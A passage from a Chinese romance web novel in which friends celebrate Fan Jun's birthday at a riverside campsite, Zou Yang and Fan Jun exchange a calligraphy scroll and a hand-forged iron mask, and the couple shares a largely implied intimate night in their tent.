“还有?”张传龙有些吃惊。 “刚是个开头,引入话题。”刘文瑞看了他一眼。 “祝酒词啊你这还开题了?”张传龙不解。 “让他说。”李知越笑着。 “邹飏。”刘文瑞看向邹飏。 “哎。”邹飏赶紧拿起杯子,“怎么还点我名了?” “樊均。”刘文瑞看向樊均。 “嗯。”樊均笑了笑,也拿起杯子。 “你俩……不容易,”刘文瑞看着他俩,“你们经历的事儿,是我们这些普通人三辈子也未必能碰到的,当然,我们也不想碰到……但你们碰到了……” “话别转圈,往前走。”李知越说。 “你们往前走……”刘文瑞顺着李知越的话说了一半停下了,白了李知越一眼,沉思了两秒,“不容易……不是往前走不容易啊!不是,是你俩能在一起不容易,前阵儿樊均你什么样我不知道,肯定也不好受,但邹飏我们几天天看着呢,他虽然一句多的没跟我们说过,真一句没有,但是我们能看着……哎,太……没法说,太可怜了……” 樊均没说话,只是转头看了看邹飏。 邹飏用杯子挡了一下脸,口型说了一句。 没那么惨。 樊均笑了笑。 是么。 但刘文瑞说得声音都有些哽咽了。 “现在都好了。”刘文瑞喝了一口酒,拾掇了一下心情。 “怎么说一半还先喝上了呢?”张传龙说。 “你闭嘴,”刘文瑞举高杯子,“现在都好了,就希望你俩以后能一直在一块儿过生日……” 他沉默了一会儿,就在大家以为他还要接着说点什么的时候,他仰头把酒一口喝了,也没等大家一块儿。 李知越只得赶紧举了举杯子:“得成比目何辞死,只羡……鸳鸳不羡仙。” 大家一块儿把杯子往中间凑过去碰了碰。 “等等等等……”刘文瑞着急忙慌地往自己杯子里又倒了点儿酒,追着几个杯子挨个碰了一圈。 碰完杯往回收的时候邹飏往樊均的杯子上又磕了一下,挺用劲的,樊均杯子里的酒差点儿让他磕洒出来。 樊均看着他,笑了笑。 邹飏仰头喝了一口酒。 “开吃。”李知越一挥手。 樊均把烧烤架上烤好的肉拿过来放到了桌上。 “包子烤一下吧,我饿了,得先吃点儿主食。”刘文瑞说。 “这怎么烤?”邹飏问。 “烤包子啊,没吃过吗?”刘文瑞说。 “那是一回事儿吗!”邹飏叹了口气。 “现在就是一回事儿了,包子冷了怎么办。”刘文瑞很坚定。 张传龙起身,从袋子里拿了包子,一个一个码在了烧烤架上。 “会糊。”樊均拿了油刷,往包子上刷了一圈油。 “樊均你会做饭是吧?”刘文瑞问。 “……算是会点儿,会几个菜。”樊均说。 “那比邹飏强,他就会西红柿炒鸡蛋,”刘文瑞说完又叹了口气,“他比我们强,我们什么都不会。” “下回去你家吃吧,”张传龙啃着肉,“樊哥给做菜。” “行。”樊均笑着点点头。 “你是真不见外。”李知越看着张传龙。 “怎么了,他俩不是一对儿么?”张传龙说,“也没有外啊。” 李知越顿了几秒,给他鼓了个掌:“说得好。” 那几个包子,樊均刷了好几次油,还给包子戳了一堆的眼儿,总算给烤出来了,跟刘文瑞想象的酥脆包子皮儿不太一样,外皮有点儿硬,但里面好歹是热了。 几个人拿着包子一边搁手里来回抛着散热,一边剥皮儿。 “挺好玩的。”樊均小声说。 “那到时刘文瑞生日咱们也出来玩,”邹飏说,“让李知越和张传龙先别回家,反正最后一个暑假了。” “明年你就工作了啊。”樊均有些感慨。 “嗯。”邹飏点点头,发现樊均手里的包子皮儿已经剥好了,于是把自己这个没剥完的递给了他。 樊均愣了愣,跟他交换了一下,拿过他的继续剥:“那你……要工作吗?” “要啊,”邹飏说,“我爸那些东西……算是个保底吧,我想过我自己的生活。” “嗯。”樊均笑了笑,咬了一口包子,“大肉馅儿的。” “好吃吧?”邹飏看着他,“纯肉的,去晚了抢不着。” “好吃。”樊均点头,又咬了一口。 “别动。”邹飏迅速拿起手机。 樊均咬着包子没松嘴,看着他。 邹飏举起手机对着他拍了一张,又低头放大了看着:“你真可爱啊均儿。” “你什么毛病。”樊均笑着继续吃包子。 有了这一轮包子炒饭的垫底,一帮人可以坐着慢慢边聊边烤串儿了。 邹飏一直没明白大家为什么这么饿,拍完照看了一眼时间才发现一帮人闹哄哄的感觉什么也没干,但已经很晚了。 主要是河对岸那些人也一直都很热闹。 接下去的时间里,他就一直在盯着手机上的时间。 聊几句盯一眼时间,再聊几句又盯一眼时间。 “你到时候那个别墅是住还是卖啊?”刘文瑞问。 “不知道,”邹飏想了想,“现在也不知道能卖多少钱,曹律师说没装完,做了水电门窗什么的。” “要卖的话就这样好卖,有装修反倒不好卖了,”李知越说,“人家买了要不喜欢还得花钱拆。” “嗯。”邹飏应了一声,他反正现在也没钱接着装,装完了他也的确是不想住,感觉别扭。 又聊了一会儿,李知越冲他抬了抬下巴,又晃了晃手机。 邹飏瞄了一眼时间,马上到十二点了。 “你坐这儿等着。”他在樊均耳边说了一句,站了起来。 刘文瑞立马领会,也起身跟他一块儿走到了露营车旁边。 他俩先把保温袋里的蛋糕拿了出来,塞了满满一兜子冰袋,保温效果还不错,蛋糕还保持着最初的造型。 这次邹飏挑的是个心型的小蛋糕,还是很简单的样子,白色的心型,上面用不知道什么糖做了红色的包装带和蝴蝶结。 没写字,只有两个小图案,一对羊角和一把小剑,因为店里实在做不出咬着剑的睚眦,只能简化。 这么看着倒也挺可爱。 两个人手忙脚乱地把蜡烛插好,差一分钟的时候,邹飏把蜡烛点上了,背对着樊均捧好。 零点一到,李知越点了一下手机,生日快乐的音乐响起,张传龙同时拔掉了灯的插头,四周猛地黑了下去,只剩下了蛋糕上两根蜡烛的光。 河对面闹哄哄的声音突然也慢慢静了下去。 邹飏跟大家一块儿唱着歌转过身准备往前走的时候,发现自己根本看不到路。 “祝你生日……我看不见,”他边唱边用脚往前探着,“我靠,你生日快乐……我看不……” 樊均的手机屏幕亮了,对着他脚底下的草地。 他就着这点儿光走过去,把蛋糕放到了樊均面前的桌上。 樊均看着蛋糕,又抬头看了看邹飏,邹飏的脸被跳动的烛光勾出了漂亮的轮廓,他看得有些出神。 直到生日歌唱完,对面都有人拍手鼓掌了,他才回过神,闭上眼睛许了个愿,然后轻轻吹灭了蜡烛。 “生日快乐!”一帮人一块儿喊了一声。 “谢谢。”樊均笑着说。 “等着,”邹飏又转身往露营车走过去,“我有礼物送你。” 张传龙重新把灯给插上了。 “一堆礼物。”刘文瑞补充说明。 樊均笑着没说话,看着邹飏从车里拿出了三个画筒和一个扁的大盒子。 居然有四份礼物吗? “就不全拆了,”邹飏走到他面前,把东西放在已经被李知越快速清空了的桌子上,“你挑一个拆开先看看吧,拆个礼物意思意思,别的回去再看。” “嗯。”樊均点点头,犹豫了一下,拿起了一个小一些的画筒。 邹飏看了他一眼。 眼神略微有一些复杂。 他顿了顿:“这个行吗?” “……行。”邹飏点了点头。 樊均感觉自己手激动得有些抖,画筒拔了两下才把盖子打开。 里面是一个卷轴。 上面有字。 “你写的吗?”樊均忍不住先问了一句,他知道邹飏会画画,字也写得好看,但没想到会收到这样的礼物,非常惊喜。 “嗯。”邹飏点头。 他慢慢打开卷轴。 我。 第一个字就很惊艳,不知道在内行眼里是什么水平,但在樊均看来,这是他见过的最好看的字。 要娶。 樊均愣住了。 瞬间反应过来之前他挑出这个画筒的时候邹飏为什么会是那样的眼神。 “你……”他看向邹飏。 “打开!”刘文瑞指着卷轴,嘴角带着压不住的笑。 樊均把卷轴全打开了,往桌上一铺。 我要娶樊均。 樊均怎么也没想到会在这么高雅文雅温文尔雅的东西上看到这句话。 愣了好几秒钟,他实在有些没忍住,偏开头笑了起来。 几个人顿时都跟着一块儿笑出了声。 “喜欢吗?”邹飏问。 “嗯。”樊均边笑着点点头,“喜欢,真的超级喜欢。” “那就行,”邹飏吸了吸鼻子,把卷轴卷了起来,“别的就回去再看吧。” “别的……”樊均凑过去小声问,“也都……” “没,”李知越边乐边说,“你把最炸裂的一个挑出来了。” “我这么会挑呢?”樊均说。 “心有灵犀嘛。”邹飏一挑眉毛,把卷轴放回了画筒里。 “谢谢。”樊均看着他。 邹飏没说话,也看着他。 “我真的……”樊均小声说,“没有想到,很惊喜。” “真喜吗?”邹飏笑了。 “嗯。”樊均点点头。 “写了半个月呢,”刘文瑞说,“废了一万多稿才留了这些。” “吹牛收着点儿。”邹飏说。 “我都吹牛了还收什么……”刘文瑞啧了一声。 “我也……”樊均站了起来,“有东西要送你。” “嗯。”邹飏点了点头,也没再装一下,他等这个礼物等了很久了。 “是……”樊均走到露营车旁边,把装着面具的纸袋拿到了桌子旁边坐下,从里面拿出来一个盒子,“我做的……不过我也是现学现做,可能做得不是……很好,但是……” 邹飏看着这个盒子,是个铁盒,纯铁盒子,什么标志都没有。 “这盒子也是你做的吧?”他问。 “……嗯,”樊均把盒子推到他面前,“这个盒子简单,里面的东西比较难,做得很慢,所以用了很长时间……” “就知道你瞒着我在做礼物。”邹飏感觉自己声音都有些颤。 打开盒盖的时候感觉自己急得手都发抖。 盖子被打开,看清里面的东西时,邹飏没了声音。 旁边几个也都瞬间安静了。 “这个是……”樊均搓了搓手,“一个面具,用你帮我画的那个头像……改的。” 邹飏没说话,把面具拿了出来。 是个用铁打出来的半脸面具,用的是他画的那张睚眦从额头到鼻子的部分,眼角用链条挂着的那颗橄榄石随着他的手微微晃动着。 面具不能说很精细,但已经远超想象,他知道樊均是在做这个礼物,但怎么也没想到能做到这个程度。 邹飏感觉自己鼻子酸得厉害,眼眶滚烫。 在眼泪涌出来的瞬间,他摘掉眼镜往桌上一扔,把面具拿起来,遮在了自己脸上,看着樊均。 “这是去年的生日礼物,”樊均说,“迟到了很久,但是……希望它能保护你。” 邹飏没说话,起身站在樊均面前。 樊均坐在椅子上,抬头看着他:“邹飏……” 邹飏还是没出声,直接跨到了他腿上。 樊均愣住了。 “哎操,”刘文瑞捂住了张传龙的眼睛,“小孩儿别看。” 这户外椅很矮,邹飏往樊均腿上坐下去的时候,膝盖直接跪到了地上。 他也顾不上那么多,手按着樊均额头往后轻轻一压。 樊均仰起头时,他重重地吻了下去。 第102章 邹飏连人带吻砸下来的时候,带着惯常的张扬和几分霸道,甚至有些凶猛,樊均能感觉到自己嘴唇被他的牙磕了一下。 有点儿疼,应该是破了。 但还没来得及感受,唇上就被邹飏轻轻舔了舔。 细微的触感像风,轻轻的掠过,带着眼泪的微咸,和一丝淡淡的血的味道。 四周有很多人,对岸的,他们身边的,而所有的人都在看着这一幕。 樊均感觉自己全身都是僵硬的,有些尴尬,有些不好意思,有些慌乱。 但余光里所有的一切,都被邹飏的气息侵蚀着,慢慢消散。 樊均仰着头,闭上眼睛,垂在身侧的手缓缓抬起,揽住邹飏的腰。 在只能听到虫鸣和流水的静谧里感受着邹飏细密的纠缠…… 直到耳边的呼吸里传来遥远的口哨声和掌声,被深深淹没的意识才一点点浮出,身边的人,身边的灯光,身边烧烤的肉香和烟,一点点清晰起来。 邹飏的唇离开的那一瞬,樊均几乎不敢睁开眼睛,心跳甚至比之前更剧烈。 “先……”他搂着邹飏的胳膊轻轻收了收,声音很低,“别起来。” 邹飏没说话,只是低头又靠了回来,胳膊搭在他肩上,脑门轻轻抵着他的下巴。 “录了吗?”身后传来刘文瑞的声音。 “录着呢。”李知越说。 “差不多了,镜头往小溪那边去,再往上摇一个星空……”刘文瑞说,“龙龙,把你旁边那个灯的顶光遮一下。” “哦。”张传龙应着。 过了一会儿,李知越说了一句:“好了。” “CUT!”刘文瑞喊了一声,“差不多了啊,收了收了。” 邹飏没说话,偏过头轻轻舒出一口气:“我起来了啊?” “嗯。”樊均应了一声。 邹飏撑着他的肩站了起来,对岸那边又是几声口哨和叫好声。 他都没好意思往那边儿看,低头拉过自己的椅子坐下了,看着手里还拿着的那个面具。 面具上面的所有的凹凸,切线,转角,都带着手工痕迹,一下一下打出来的那种痕迹,数不清有多少细节。 这一瞬间他好不容易憋回去了的眼泪再次涌了出来,滴在了面具上。 “哎,纸……”他抹了抹眼泪,伸出手,没等看清纸巾盒在哪儿,樊均已经把纸巾塞到了他手里。 他把纸巾按到了眼睛上,过了一会儿才松开了,擦了擦脸,转头看了樊均一眼。 发现樊均脸上也有泪痕。 “你怎么……”他愣了愣,“也哭了?” “……你的。”樊均抬手往脸上蹭了一下。 “哦。”邹飏同时看到他嘴唇似乎有一点儿破皮了。 虽然带没戴眼镜看不清,但他还是迅速垂下了眼皮,没好意思继续看。 是破皮了,他低头的时候没控制住,牙磕在了樊均嘴上,吻的时候都能尝到血味儿…… “先放着吧。”樊均把铁盒递到他手边。 邹飏把面具放回了盒子时,放了两下没放平,才发现下面还有个小小的木头架子。 “这什么?”他把架子拿了出来。 “放面具的,”樊均笑了笑,“这个不是我做的了,这个是拿的何川的,放茶饼的架子,大小正好合适。” 邹飏笑了起来,把架子和面具放回去的时候又忍不住有点儿想哭。 怎么了这是,还没完了! “来,”刘文瑞递了盘子过来,“辛苦了,吃点儿补补。” 一听这话,顿时就不想哭了。 邹飏拿了两个肉串儿递给樊均,又给自己拿了两串。 “你……”刘文瑞往对岸看了一眼,压低声音,“从小我就知道你牛逼,我是真不知道你这么牛逼。” 说完还冲他竖了竖拇指。 “吃你的。”邹飏咬了一口肉。 “刚拍那段你来剪吗?”李知越问刘文瑞,“好像拍到对岸给叫好了,挺有气氛的……” 哎哟…… 邹飏都有点儿不好意思听下去了。 “我剪,这场面绝对能剪出电影镜头的感觉来,”刘文瑞点点头,“我反正已经百毒不侵了。” “炒饭还有吗?”樊均问。 “有。”张传龙把保温桶递了过来。 樊均往自己碗里舀了点儿炒饭,低头几口就扒拉完了。 “没吃饱啊?”邹飏小声问。 “又饿了。”樊均也小声回答。 “吓饿的吗?”邹飏问。 樊均没忍住笑了起来。 “吃蛋糕吗?”张传龙问。 “吃!”刘文瑞一拍腿,“再不吃一会儿化了。” “寿星切一下蛋糕吧。”李知越把蛋糕刀找了出来。 樊均拿过刀,起身在蛋糕上比划着,一时不知道该怎么下刀。 “先把那个羊角和剑单独切出来,”邹飏说,“别的分三份就行。” “嗯。”樊均把中间那一条切了出来,剩下的又拦了一刀,正好三份,虽然大小不是太一样。 “好了,”李知越拿起盘子,“分蛋糕就我们自己来了。” “谢谢。”樊均说。 “嗯?”李知越没反应过来,看着他。 “谢谢,”樊均说,“今天……很开心。” “嗨,自己人不说这些。”张传龙摆摆手。 樊均笑笑,坐回椅子上。 “我要剑的那一半,”邹飏安排着,“你吃羊角。” “嗯。”樊均从中间把蛋糕分开,有小剑的那一半给了邹飏。 准备吃的时候他看着盘子里的羊角,想了想,转头看着邹飏:“这两个图,是你画的吗?” “那肯定不是我往蛋糕上画的,”邹飏笑笑,“我是在纸上画了个图,让他们照着画的。” “嗯。”樊均笑着又看了看蛋糕,低头把羊角那一块吃掉了。 “哎……”刘文瑞靠在椅子上一边儿吃着蛋糕,一边长叹一声,“这一天天的就这么腻着……我们日子不好过啊。” “你不是独身主义么,”李知越说,“还看人家谈恋爱的牙痒痒啊。” “其实也不用嫉妒,”张传龙吃着蛋糕,“他俩谈的都男的,让你谈你也谈不上,不用往自己身上比。” “你闭嘴吧你!”刘文瑞瞪他。 “李知越开的头你先让他闭嘴。”张传龙说。 “闭了闭了。”李知越笑了起来。 吃完蛋糕,大家又想吃点儿咸的,于是把剩下的肉串儿都烤了,堆了一盘子。 边吃边聊边喝,这一盘子也吃光了。 他们带来的肉和在烧烤场订的肉一片儿不剩都吃光了,作为主食的蛋糕包和炒饭也一口不剩。 人一出来玩,明明也没干什么,坐车来,坐这儿聊,但就跟干了什么体力活儿似的,一个个都仿佛无底洞。 “明天早饭我们吃什么?”张传龙问。 “老板说他那屋早上有粥和油条什么的,”刘文瑞摊在椅子上摸着肚子,“十块钱一个人。” “那就行。”张传龙点了点头。 简单把东西收拾了一下,几个人往停车场那边慢慢遛达过去。 停车场那儿有浴室和厕所,挺方便的。 但对于他们这帮过了河的就不那么方便了。 脱鞋,过河,光脚走到停车场洗漱再回来,过河,晾脚穿鞋…… 几个人杵在河边儿下决心的时候,对岸有人问了一句:“你们是要过来吗?” “是。”刘文瑞应了一声。 “你们往上游走一段,”那人说,“大概三十米吧,老板在那儿搭了个板子。” “我靠,谢谢啊哥!”刘文瑞很激动。 木板搭得有点儿凑合,但能用。 洗漱完,邹飏伸了个懒腰,拍了拍樊均的背:“散会儿步去。” 樊均愣了愣,一阵说不清的尴尬,他甚至不知道是该“嗯”还是该“嗯?”。 “现在?”张传龙看着他,“你俩不冷吗?” 虽然马上七月,但郊外的夜里还是很凉的,几个人都穿上了外套。 这会儿邹飏突然说要去散步,除了会让人觉得他俩是想干点儿什么之外,大概还会让人觉得他俩憋坏了为了干点儿什么这种温度都能不回帐篷…… “我吃得有点儿饱,”邹飏倒是很坦然,一边往河上游方向走一边不急不慢地说着,“不遛达一会儿睡不着。” “那……”樊均只得跟上,回头跟刘文瑞他们说了一句,“你们先回帐篷。” “行吧。”刘文瑞指了指邹飏,“他刚没少喝啊。” “我盯着呢。”樊均笑了笑。 “也没喝多少,”邹飏伸了个懒腰,又打了个呵欠,“刘文瑞自己酒量不行,就总觉得别人跟他一样。” 樊均没说话,伸手扶在了他腰上。 邹飏这会儿说话还是正常的,但看得出脚底下稍微有点儿飘。 “你是想扶着我,”邹飏转头看着他,“还是想摸我?” 行吧,说话其实也不是太正常。 “……都有。”樊均收了收扶在他腰上的手指,他的确很喜欢邹飏的腰,紧实,有弹性…… 他清了清嗓子。 “我喜欢摸你屁股。”邹飏说。 樊均虽然知道四周已经没有人了,还是下意识地转头看了看。 “看什么?”邹飏笑着问,往他身上靠了靠。 “随便看看。”樊均收紧胳膊。 “怕有人听见吗?”邹飏也看了看四周,“没人,有人也没事儿,刚那样……对岸所有人都看到了,这会儿再看咱俩没一块儿回去,就都知道咱俩……” 樊均捂住了他的嘴,叹了口气。 “肯定得干点儿什么。”邹飏在指缝里坚强地继续说着。 “知道了。”樊均有点儿无奈。 “但我是真的吃得有点儿太饱了……”邹飏还是没停,“吃了咸的想吃甜的,吃完甜的想吃咸的……” 邹飏的呼吸在指缝间穿梭着,小小的温热的气流带着微微的痒,顺着掌心吹进心里。 “平时我……” 樊均松开了捂在邹飏嘴上的手,胳膊揽着他的肩往自己这边猛地一带,吻住了他。 接着一把抓住他想抬起来的手,拧到身后,用力搂紧。 他不敢让邹飏的手碰到他,邹飏手上任何一点主动可能都会让他失去最后一点理智…… 直到一阵夜风刮过,吹散了两个人的喘息。 樊均才松开了胳膊。 “还说我?”邹飏摘下眼镜,低头用T恤随便擦了擦。 “……冷吗?”樊均问。 “还行,”邹飏戴上眼镜,“遛达一会儿回去吧,后半夜肯定冷。” “嗯。”樊均重新搂住他。 烧烤场这一片并不太适合遛达,除了停车场那一片做了硬化,别的地方都是草地,高高低低的小土坡,深一脚浅一脚的走得费劲,时不时还会踢到凸起的草根。 转了差不多二十分钟,他俩回到了帐篷边儿。 刘文瑞他们三个已经进了帐篷,点了个灯在帐篷里斗地主。 “你们……”邹飏弯腰拉开帐篷,探了个脑袋进去,话还没说话就扑在了垫子上,给几位舍友磕了一个。 樊均在后头拽都没拽住。 “这怎么个意思?”刘文瑞迅速转身,也跪着趴到了垫子上,看着邹飏。 “操,”邹飏胳膊撑着垫子起了身,“我是不是喝多了?” “这还用问我们吗?”刘文瑞说。 “我刚喝的时候没感觉啊……”邹飏说。 “后返劲儿呢,”李知越叹了口气,“赶紧睡觉去吧。” 樊均从身后兜着他肚子把他拉了起来。 “晚安。”邹飏冲帐篷里挥了挥手。 “晚安!”几个人一块儿喊了一嗓子。 “没事儿,”邹飏拍了拍樊均的手,“能走。” 樊均松了手:“你……” 邹飏转过身一把抓住了他的衣领,拽着就往帐篷那边走。 “干嘛?”樊均被他拽得踉跄了两步,压着声音问。 “也干不了什么动静大的,”邹飏低声说,“别怕。” 两人脱了鞋钻进帐篷,樊均刚想问要不要拿个灯进来,邹飏已经扑了过来,按着他胸口把他压倒在了垫子上。 跟着拽住他衣服往上一掀,人就跨到了他腰上。 四周很黑,只有帐篷顶上一个透明的小天窗透下来的月光,邹飏低着头,他看不清邹飏的脸,只能看到他滑到鼻尖上的眼镜闪着光。 还能看到他被月光描了边的脖子和肩线。 还有腰线。 他抬手想摸一下。 但双手都被邹飏按在了身侧。 邹飏低头在他唇上亲了亲,腿轻轻跪压在了他左手腕上,慢慢压实了之后,低声问了一句:“这样手会疼吗?” “不会。”樊均听到自己声音有些不稳。 邹飏没说话,他的右手腕也被压实了。 接着轻轻甩了一下头,挂在鼻尖上的眼镜被甩到了一边。 这个动作带起的一阵气流扫过樊均的脸,一阵剧烈心跳里他想要抬手,动了动才反应过来动不了。 邹飏低头,吻在他下巴上。 柔软的温热慢慢向下滑去,下颌,咽喉,暖意过后的微凉一直漫延到胸口。 邹飏缓缓直起身,脱掉了上衣。 月光从肩膀上披下,整人都被镀上了一层淡淡的银色光晕。 “这里,”邹飏低头看着他,手指点在自己颈侧,声音很低,“喜欢吗?” “……喜欢。”樊均也低声回答。 邹飏指尖向下划过锁骨,停在了胸口:“喜欢吗?” “喜欢。”樊均声音更低了,转了转手腕,但没能挣脱。 邹飏指尖再向下,缓缓划向了腰侧。 “这儿呢?”邹飏的声音被喘息裹着,很低地传进他的耳朵里,“哥哥。” “喜欢……”樊均声音带着颤抖,低到几乎听不见。 他有些徒劳地再次转了转手腕,但邹飏的腿压得很紧,他几乎没有挣脱的空间。 邹飏的手在自己腰侧勾了个圈,接着很快地勾着裤边往下一拽。 樊均只觉得整个人在这一瞬间陷入了晕眩里,邹飏每一个动作,都仿佛带着诱惑的残影…… 邹飏向后仰起头,安静的月光里,邹飏每一次微小的晃动,都是直扑他心底一场惊涛骇浪。 黑暗中他甚至能听到裹在心跳里的自己血液穿流而过的声音,还有邹飏那一声细不可闻的低吟…… 如同一声号角,划向身体深处。 他猛地抬了一下腿,膝盖顶在了邹飏背上。 邹飏往前倾过来的瞬间,他抽出了被压着的手,一把搂住了邹飏的腰,指尖猛地收紧,把邹飏扳倒在了垫子上。 邹飏哼了一声。 连虫鸣都消失了的黑夜里,这一声格外清晰。 樊均翻身压过去,捂住他的嘴,带着翻腾着寻找出口的渴望,低头狠狠咬在了他肩上…… …… 第103章 帐篷外的虫鸣声重新传回耳朵里时,帐篷里两个人的喘息才渐渐平息下去。 “我刚是不是……出声儿了?”邹飏侧身躺在垫子上,声音很低地问了一句。 他能感觉到樊均还有些发烫的呼吸扑在他后背上。 “……有点儿,”樊均搂着他,下巴搁在他肩上,“不过……还好。” “还好个屁,”邹飏压着声音,“肯定能听见。” “听不见,”樊均在他耳朵边儿小声说,“他们那边儿只能听到张传龙的呼噜声。” 邹飏憋住气听了一会儿,笑了起来:“这人平时在宿舍也不打呼啊。” “换了床睡不踏实。”樊均的手在垫子上来回摸着。 “别瞎摸啊,一会儿蹭得到处都是。”邹飏啧了一声。 “我找湿巾!”樊均压低声音。 “不在我这边儿。”邹飏说。 樊均又收回胳膊在自己身后摸了摸,找到了湿巾,起身抽了两张出来擦着手。 “哎……”邹飏翻了个身很舒服地摊平,“刺激啊……” “别乱翻,”樊均又把他推回了侧躺,拿了张湿巾在他背上擦着,“不知道哪儿有……” “扫射呢你。”邹飏闭上眼睛。 “就我吗?”樊均又在垫子上擦了擦,把他又翻回了平躺,再抽了张湿巾在他肚子上擦着。 “哎别往下……”邹飏抓住他的手,“我自己。” “嗯。”樊均笑了笑,把湿巾放到他手里。 这会儿月亮被云遮住了,帐篷里一片黑,他俩还不敢用手机照亮,摸黑折腾了半天总算是收拾好了。 邹飏长长地舒出一口气,往垫子上躺了一会儿,喝了酒加上激情过后,他开始感觉到冷:“我有点儿感觉冷了。” 樊均没说话,躺下搂住了他,胳膊腿儿往他身上一箍:“还冷吗?” 邹飏沉默了一会儿笑了起来:“我们有睡袋的啊。” “哦,”樊均松开他,又坐了起来,摸到睡袋打开了,“你起开点儿,我铺一下。” 邹飏慢慢地滚到一边。 等樊均把睡袋铺好,拉链拉开,他又慢慢地滚了回来。 樊均把他扒拉到睡袋里拉好拉链,跟着也钻了进来,贴着搂紧他:“还冷吗?” “不冷了。”邹飏偏过头,蹭了蹭他鼻尖,“不过我想起来一个事儿……” “嗯?”樊均应了一声。 “我眼镜不知道甩哪聊去了。”邹飏说。 “我找找。”樊均说完就准备起身。 “不找,”邹飏立马抱住他胳膊,“本来就是换下来的旧眼镜,你要不赔我一副新的吧。” “我给你买一副新的,”樊均说,“怎么成赔的了?” “你刚摔我的时候可能压坏了。”邹飏说。 “我什么时候……”樊均愣了,“摔你了?” “刚才。”邹飏说。 “那叫摔吗?”樊均问。 “嗯,”邹飏闭着眼睛,在自己身上摸了摸,“你还啃我了。” 樊均没说话,伸手在邹飏肩上摸了摸。 “就这儿吗?”邹飏问。 他的手又往邹飏脖子上摸了摸,能在颈侧摸到两道清晰的凸起,他很小声地“嘶”了一声。 “你嘶什么,”邹飏也小声说,“我又没咬你,你咬了一串儿,狗一样。” “一……串儿吗?”樊均有些犹豫,手往下摸到锁骨,再到胸口,肚子,腰……一直到大腿,都能摸到凸起的道子。 他没再说话,搂紧邹飏,把脸埋到他颈窝里:“你自找的。” “嗯?”邹飏偏过头。 樊均亲了亲他嘴角:“你指哪儿了我就咬哪儿。” 邹飏没了声音,过了一会儿才说了一句:“睡觉。” “嗯。”樊均应了一声。 睡不着。 虽然有点儿困,但脑子里时不时翻过的带着声音的画面让他静不下心。 闭着眼睛睡了一会儿,他又睁开了眼睛:“邹飏。” “嗯?”邹飏应了一声,带着轻微的鼻音,听上去是快睡着了。 他伸手扳过邹飏的脸,把自己脑门儿贴到了邹飏唇上,停了一会儿,他又凑过去吻住了邹飏。 “……嗯?”邹飏声音里带着迷糊,但还是回应了他。 比起之前,这个带着困意的吻要温柔得多,邹飏也被动得多,配合着他的纠缠和索取…… 樊均的唇回到他嘴角时,邹飏的呼吸渐渐变得均匀而绵长。 ……睡着了。 樊均很轻地叹了一口气,在他眼角轻轻吻了一下,重新把脑门儿贴到他唇上,闭上了眼睛。 郊外的清晨比城市小区里的清晨吵闹得多。 感觉全世界的鸟都围着帐篷在唱歌,调儿都不一样,嗓子也都不一样。 旁边那条小河的水似乎也比前一晚要湍急,水流卷过石头时发出高低不同的哗啦声…… 邹飏睁开眼睛的时候,樊均也刚醒,胳膊撑着垫子坐在旁边缓神儿。 看到他睁开眼睛,樊均赶紧伸手捂住了他的眼睛:“吵醒你了?你再睡会儿,我去看看有早餐了没……” “已经醒了……那些鸟真能叫啊,感觉在我耳朵里头叫……”邹飏打了个呵欠,胳膊伸出睡袋,全身绷直,用力伸了个懒腰。 在后背绷得有点儿要抽筋时又立马缩了回来,翻身搂住了樊均,在他后腰上咬了一口。 “嘶——”樊均抽了一口气,猛地挺直了背,“你饿了吗?” “嗯,”邹飏松了口,又翻回去摊平了躺着,眼睛看着帐篷上面的透明窗口,“几点啊?” “六点差五分。”樊均说。 “我好久没这么早醒过了……”邹飏皱着眉,“这跟没睡有什么区别……” “你要不再睡一会儿?”樊均摸了摸他的脸,“他们几个还没起呢,你们上午不是最后一节才有课吗?” “睡不着了,”邹飏又翻了个身,“毕竟是露营……” 接着又翻了回来,最后坐了起来:“睡不踏……” 话还没说完,就听到外面有刘文瑞的声音:“我操我鞋呢?” “嗯?”樊均愣了愣。 “鞋没了?”邹飏顿时来了精神,爬到帐篷门边拉开拉链探了脑袋出去,“你鞋没了?” 那边刘文瑞顶着一脑袋乱七八糟的头发,裹着睡袋蹲在帐篷门口:“我鞋就剩一只了……我操这儿还有人偷鞋呢?” 邹飏赶紧眯缝着眼睛,看了看他和樊均的鞋,虽然他的鞋踢得有点儿远,但一二三四,都在。 “你先穿我的,出去找找,”李知越在帐篷里说,“可能被小动物叼到旁边儿去了……” “我操,”刘文瑞皱着眉,“这儿还有动物?什么动物?狼吗?” “狗啊!”李知越说,“昨天过来停车的时候好几只狗呢你没看到吗?” “没,”刘文瑞看了邹飏一眼,“我就看到我们车里下来三个狗。” “神经病。”邹飏笑了起来。 “邹飏,”樊均在帐篷里叫了他一声,“先进来。” “嗯?”邹飏回过头。 “进来。”樊均抓着他脚踝拉了一下。 “怎么?”邹飏退回了帐篷里。 “你脖子上那个印儿,”樊均指了指他脖子,视线又顺着往下,“有点儿明显……” 邹飏啧了一声,低头想拿手机拍一张看看的时候,猛地看到了自己身上一片的红印子,他愣了愣,接着震惊地抬起头着樊均。 樊均没说话,手捂着眼睛,轻轻呼出一口气。 “我操,樊均?”邹飏扑过去一把拽开他的手,捏着他下巴,“这是我脖子上那个印儿的事儿吗?” “这些都……看不到,”樊均说,“就脖子上那个能看到……” “你怎么没给我咬死啊?”邹飏压着声音。 视线所及,从胸口到大腿,全是大大小小的红道子红点子。 他知道樊均咬他了,但没想到能咬成这样…… 跟幅画儿似的。 “我不是故意的,”樊均低声说着伸手在他胸口的道子上摸了摸,皱起了眉头,“我是没控制住……你这皮肤也太……” “什么?”邹飏看着他。 “我不是……故意的……”樊均也看着他,说得有些犹豫。 “不是这句。”邹飏说。 “你皮肤……”樊均边说边看着他的反应,判断他要听的是哪句。 邹飏没说话。 “我是没控制住。”樊均说。 邹飏挑了一下眉毛,捏着他下巴轻轻晃了晃。 “邹飏你……”樊均笑了起来,“简直了。” “怎么?”邹飏偏了偏头。 樊均没说话,扑过来搂住了他,在他颈侧狠狠嘬了一口。 邹飏被他扑得往后一仰,撞在了帐篷的支撑杆上。 不知道杆子什么部位受了力,只听到一声有些发闷的弹响,本来撑成半圆的帐篷突然从中间塌进去了一块。 “邹飏?”外面传来了刘文瑞吓了一跳的声音,声音很近,就在帐篷旁边,估计是找鞋找到他们这儿来了。 “关我什……”邹飏说到一半就被樊均捂住了嘴。 樊均在这几个人面前一直都是稳重的樊哥樊教练,估计是不好意思破坏形象。 邹飏笑了起来。 樊均过了两秒松开了手。 “我没站稳。”邹飏说。 樊均在他鼻尖上亲了一下。 “大早上的,”刘文瑞的声音又走开了一些,“精力没地儿释放了出来帮我找鞋。” 